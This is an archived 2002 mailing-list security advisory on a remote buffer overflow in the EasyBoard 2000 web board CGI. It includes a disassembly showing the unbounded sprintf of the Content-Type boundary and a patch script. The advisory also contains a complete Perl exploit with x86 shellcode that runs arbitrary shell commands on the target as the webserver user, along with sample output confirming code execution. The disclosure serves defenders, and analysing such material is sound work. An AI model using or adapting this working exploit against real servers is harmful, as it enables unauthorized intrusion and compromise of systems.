Virus.Org  IT Security News and Information Portal. We offer the latest IT security news, updates, product reviews, books, and articles for all you IT security professionals out there. Enter and get the best IT security information on the Internet.

 

. Welcome to the Virus.Org Mailing List Archive  
.
.


[Date Prev] [Date Next] [Thread Prev] [Thread Next] [Date Index] [Thread Index]


EasyBoard 2000 Remote Buffer Overflow Vulnerability
.

  • To: bogus
  • Subject: EasyBoard 2000 Remote Buffer Overflow Vulnerability
  • From: [EMAIL PROTECTED] ([EMAIL PROTECTED])
  • Date: Mon, 11 Feb 2002 09:30:15 +0900
.
 
EasyBoard 2000 Remote Buffer Overflow Vulnerability

Jin Ho You, [EMAIL PROTECTED]


1 Discussion

EasyBoard 2000(http://ezboard.new21.org) is a web board CGI.  Improperly
manipulated user-supplied input to the Content-Type header can create
an buffer overflow condition. This vulnerability allows arbitrary remote
code execution with the privileges of the webserver.


2 Vulnerable version

EasyBoard 2000 1.27xx


3 Vulnerability Analysis

3.1 Analyzed version

  ezboard 1.27(BUILD 515) for RedHat 7.0(x86)

  You can download it from:
  http://ezboard.new21.org/cgi-bin/ez2000/ezboard.cgi?db=ez2k/pds&action=down&dbf
=52&ftype=file&file=ez2k_linux70(x86).zip


3.2 Vulnerable CGIs

Vulnerable CGIs are ezboard.cgi, ezman.cgi and ezadmin.cgi.

$ strings ezboard.cgi | grep -- "--%s"
--%s
$ strings ezman.cgi | grep -- "--%s"
--%s
$ strings ezadmin.cgi | grep -- "--%s"
--%s

3.3 Analysis of ezboard.cgi

$ objdump -s ezboard.cgi | less

 806ad60 4700504f 53540043 4f4e5445 4e545f54  G.POST.CONTENT_T
 806ad70 59504500 00000000 00000000 00000000  YPE.............
 806ad80 6170706c 69636174 696f6e2f 782d7777  application/x-ww 
 806ad90 772d666f 726d2d75 726c656e 636f6465  w-form-urlencode
 806ada0 64002600 3d007365 6c6e756d 00434f4e  d.&.=.selnum.CON
 806adb0 54454e54 5f4c454e 47544800 00000000  TENT_LENGTH.....
 806adc0 6d756c74 69706172 742f666f 726d2d64  multipart/form-d
 806add0 6174613b 20626f75 6e646172 793d002d  ata; boundary=.- <-- 0x806addf
 806ade0 2d257300 0d0a2573 00000000 00000000  -%s...%s........      "--%s"
 806adf0 00000000 00000000 00000000 00000000  ................
 806ae00 436f6e74 656e742d 44697370 6f736974  Content-Disposit
 806ae10 696f6e3a 20666f72 6d2d6461 74613b20  ion: form-data;
 806ae20 002d2d00 3b206669 6c656e61 6d650025  .--.; filename.%

$ objdump -d ezboard.cgi | less

 804aff5:       57                      push   %edi
 804aff6:       68 df ad 06 08          push   $0x806addf  ---> "--%s"
 804affb:       8d 9d e8 fe ff ff       lea    0xfffffee8(%ebp),%ebx
 804b001:       53                      push   %ebx
 804b002:       e8 89 e5 ff ff          call   0x8049590


$ gdb ezboard.cgi
(gdb) disassemble 0x804aff6

0x804af84 <strcpy+6500>:        push   %ebp
0x804af85 <strcpy+6501>:        mov    %esp,%ebp
0x804af87 <strcpy+6503>:        push   %edi
0x804af88 <strcpy+6504>:        push   %esi
0x804af89 <strcpy+6505>:        push   %ebx
0x804af8a <strcpy+6506>:        sub    $0x648,%esp

0x804af90 <strcpy+6512>:        mov    $0x806adc0,%edi
0x804af95 <strcpy+6517>:        cld
0x804af96 <strcpy+6518>:        mov    $0xffffffff,%ecx
0x804af9b <strcpy+6523>:        mov    $0x0,%al
0x804af9d <strcpy+6525>:        repnz scas %es:(%edi),%al
0x804af9f <strcpy+6527>:        not    %ecx
0x804afa1 <strcpy+6529>:        dec    %ecx
0x804afa2 <strcpy+6530>:        mov    %ecx,0xfffff9e0(%ebp)

    delim_len = strlen("multipart/form-data; boundary=");

0x804afa8 <strcpy+6536>:        push   $0x806ad67           "CONTENT_TYPE"
0x804afad <strcpy+6541>:        call   0x8049210 <getenv>
0x804afb2 <strcpy+6546>:        mov    %eax,%ebx

    content_type = getenv("CONTENT_TYPE");

0x804afb4 <strcpy+6548>:        lea    0xfffff9e4(%ebp),%eax
0x804afba <strcpy+6554>:        mov    %eax,(%esp,1)
0x804afbd <strcpy+6557>:        call   0x804aee4 <strcpy+6340>
0x804afc2 <strcpy+6562>:        mov    %eax,%esi
0x804afc4 <strcpy+6564>:        sub    $0x8,%esp

0x804afc7 <strcpy+6567>:        push   $0x806adc0
0x804afcc <strcpy+6572>:        push   %ebx
0x804afcd <strcpy+6573>:        call   0x8049360 <strstr>

(gdb) x/s 0x806adc0
0x806adc0 <_IO_stdin_used+1756>:         "multipart/form-data; boundary="

    delim = strstr(content_type, "multipart/form-data; boundary=");

0x804afd2 <strcpy+6578>:        add    $0x20,%esp
0x804afd5 <strcpy+6581>:        mov    %eax,%edi
0x804afd7 <strcpy+6583>:        test   %edi,%edi
0x804afd9 <strcpy+6585>:        jne    0x804afec <strcpy+6604>
0x804afdb <strcpy+6587>:        sub    $0xc,%esp
0x804afde <strcpy+6590>:        pushl  0x806fe6c
0x804afe4 <strcpy+6596>:        call   0x804cc2c <strcpy+13836>
0x804afe9 <strcpy+6601>:        add    $0x10,%esp

0x804afec <strcpy+6604>:        add    0xfffff9e0(%ebp),%edi

    delim += delim_len;

0x804aff2 <strcpy+6610>:        sub    $0x4,%esp

0x804aff5 <strcpy+6613>:        push   %edi
0x804aff6 <strcpy+6614>:        push   $0x806addf
0x804affb <strcpy+6619>:        lea    0xfffffee8(%ebp),%ebx
0x804b001 <strcpy+6625>:        push   %ebx
0x804b002 <strcpy+6626>:        call   0x8049590 <sprintf>

            char boundary[280];
            sprintf(boundary, "--%s", delim);


The disassembled code is like the C code:

parse_multipart()
{
    char boundary[280];

    ...

    delim = strstr(getenv("CONTENT_TYPE"), "multipart/form-data; boundary=");
    delim += strlen("multipart/form-data; boundary=");
    sprintf(boundary, "--%s", delim);

    ...
}

We can see that sprintf() function call can create buffer overflow condition.


4 Exploit

~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
# ez2crazy.pl
#
# Remote Buffer Overflow x86 Linux Exploit for
#    CrazyWWWBoard(http://www.crazywwwboard.com),
#    EasyBoard 2000(http://ezboard.new21.org) and
#    CGIs using qDecoder 4.0~5.0.8
#
# Excessive boundary delimiter string in the header
# "Content-Type: multipart/form-data" permits the buffer overflow attack.
#
# Programmed by Jin Ho You, [EMAIL PROTECTED], 2002/02/11

$usage =
"usage: ez2crazy.pl [options] CGI-URL\n
  CGI-URL        URL of the target CGI
  -c command     Bourne shell command
                 Default: '/bin/echo 00ps, Crazy!;id'
  -o offset      Offset of the egg shell code,
                 Recommended [-300,+300]

example)
  ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
  ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
  ez2crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
           target.com/cgi-bin/vulnerable.cgi

";

use Getopt::Std;
getopt('oc');

if ($#ARGV < 0) {
    print $usage;
    exit(0);
};

$cgiurl = $ARGV[0];
$command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!;id";
$offset = $opt_o ? $opt_o : 0;


$cgiurl =~ s/http:\/\///;
($host, $cgiuri) = split(/\//, $cgiurl, 2);
($host, $port) = split(/:/, $host);
$port = 80 unless $port;

$command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
$cmdlen = length($command);

$argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
$shellcode =
  "\xeb\x37"                            # jmp 0x37
. "\x5e"                                # popl %esi
. "\x89\x76" . pack(C, $argvp)          # movl %esi,0xb(%esi)
. "\x89\xf0"                            # movl %esi,%eax
. "\x83\xc0\x08"                        # addl $0x8,%eax
. "\x89\x46" . pack(C, $argvp + 4)      # movl %eax,0xb(%esi)
. "\x89\xf0"                            # movl %esi,%eax
. "\x83\xc0\x0b"                        # addl $0xb,%eax
. "\x89\x46" . pack(C, $argvp + 8)      # movl %eax,0xb(%esi)
. "\x31\xc0"                            # xorl %eax,%eax
. "\x88\x46\x07"                        # movb %eax,0x7(%esi)
. "\x4e"                                # dec %esi
. "\x88\x46\x0b"                        # movb %eax,0xb(%esi)
. "\x46"                                # inc %esi
. "\x88\x46" . pack(C, 0x0b + $cmdlen)  # movb %eax,0xb(%esi)
. "\x89\x46" . pack(C, $argvp + 12)     # movl %eax,0xb(%esi)
. "\xb0\x0b"                            # movb $0xb,%al
. "\x89\xf3"                            # movl %esi,%ebx
. "\x8d\x4e" . pack(C, $argvp)          # leal 0xb(%esi),%ecx
. "\x8d\x56" . pack(C, $argvp + 12)     # leal 0xb(%esi),%edx
. "\xcd\x80"                            # int 0x80
. "\x31\xdb"                            # xorl %ebx,%ebx
. "\x89\xd8"                            # movl %ebx,%eax
. "\x40"                                # inc %eax
. "\xcd\x80"                            # int 0x80
. "\xe8\xc4\xff\xff\xff"                # call -0x3c
. "/bin/sh0-c0"                         # .string "/bin/sh0-c0"
. $command;

$offset -= length($command) / 2 + length($host . $port . $cgiurl);
$shelladdr = 0xbffffbd0 + $offset;
$noplen = 242 - length($shellcode);
$jump = $shelladdr + $noplen / 2;
$entries = $shelladdr + 250;
$egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
        . pack(V, $entries) x 2 . pack(V, $jump) x 2;

$content = substr($egg, 254) .
  "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
$contentlength = length($content);

$exploit =
"POST /$cgiuri HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
Host: $host:$port
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: ko
Accept-Charset: euc-kr,*,utf-8
Content-type: multipart/form-data; boundary=$egg
Content-length: $contentlength

$content
";

use Socket;
$iaddr = inet_aton($host) or die("Error: $!\n");
$paddr = sockaddr_in($port, $iaddr) or die("Error: $!\n");
$proto = getprotobyname('tcp') or die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die("Error: $!\n");
connect(SOCKET, $paddr) or die("Error: $!\n");
send(SOCKET, $exploit, 0) or die("Error: $!\n");
while (<SOCKET>) {
    print;
}
close(SOCKET);
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- example

$ ./ez2crazy.pl -o -250 http://vulnerable.net/ezboard/ezboard.cgi
HTTP/1.1 200 OK
Date: Sun, 10 Feb 2002 19:08:46 GMT
Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6
DAV/1.0.2 PHP/4.0.4pl1 mod_perl/1.24_01
Connection: close
Content-Type: text/html

00ps, Crazy!
uid=48(apache) gid=48(apache) groups=48(apache)


5 Vulnerability Fix

The vulnerability can be fixed by replacing sprintf(boundary, "--%s", delim)
with sprintf(boundary, "--%.200s", delim).

The following code fixes the binary programs of EasyBoard 2000 x86 Linux
version.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
# ezboard-fix.pl
#
# EasyBoard 2000 Buffer Overflow Vulnerability Fix for x86 Linux version
#
# Run this program in the directory where ezboard.cgi exists.
#
# Programmed by Jin Ho You, [EMAIL PROTECTED], 2002/02/11

LOOP:
for $cgi_file ("ezboard.cgi","ezadmin.cgi", "ezman.cgi") {
    if (! -e $cgi_file) {
        print "$cgi_file does not exist.\n";
        next LOOP;
    }

    $cgi_content=`cat $cgi_file`;

    if (index($cgi_content, "EasyBoard 2000") == -1 ||
        index($cgi_content, "ld-linux.so") == -1) {
        print "$cgi_file is not EasyBoard 2000 for x86 Linux.\n";
        next LOOP;
    }

    @obj_header = split(' ', `objdump -h $cgi_file | grep rodata`);
    $moff_section = hex($obj_header[3]);
    $foff_section = hex($obj_header[5]);
    $foff_fmtstr = index($cgi_content, "--%s");
    $moff_fmtstr = $moff_section + $foff_fmtstr - $foff_section;
    $foff_push = index($cgi_content, pack("V",$moff_fmtstr));
    if ($foff_push == -1) {
        print "$cgi_file is already fixed!\n";
        next LOOP;
    }

    printf "$cgi_file: '--%%s' = 0x%08x, push '--%%s' = 0x%08x\n",
            $foff_fmtstr, $foff_push;

    open(CGI, "+<$cgi_file") or die "cannot open $cgi_file: $!";
    seek(CGI, $foff_fmtstr + 17, SEEK_SET);
    print CGI "--%.200s";
    seek(CGI, $foff_push, SEEK_SET);
    print CGI pack("V", $moff_fmtstr + 17);
    close(CGI);
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cut here ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





 
.
.
 
Copyright (c) Virus.Org 1997-2006.
All Trademarks Acknowledged.
Please view our Terms and Conditions and our Privacy Policy.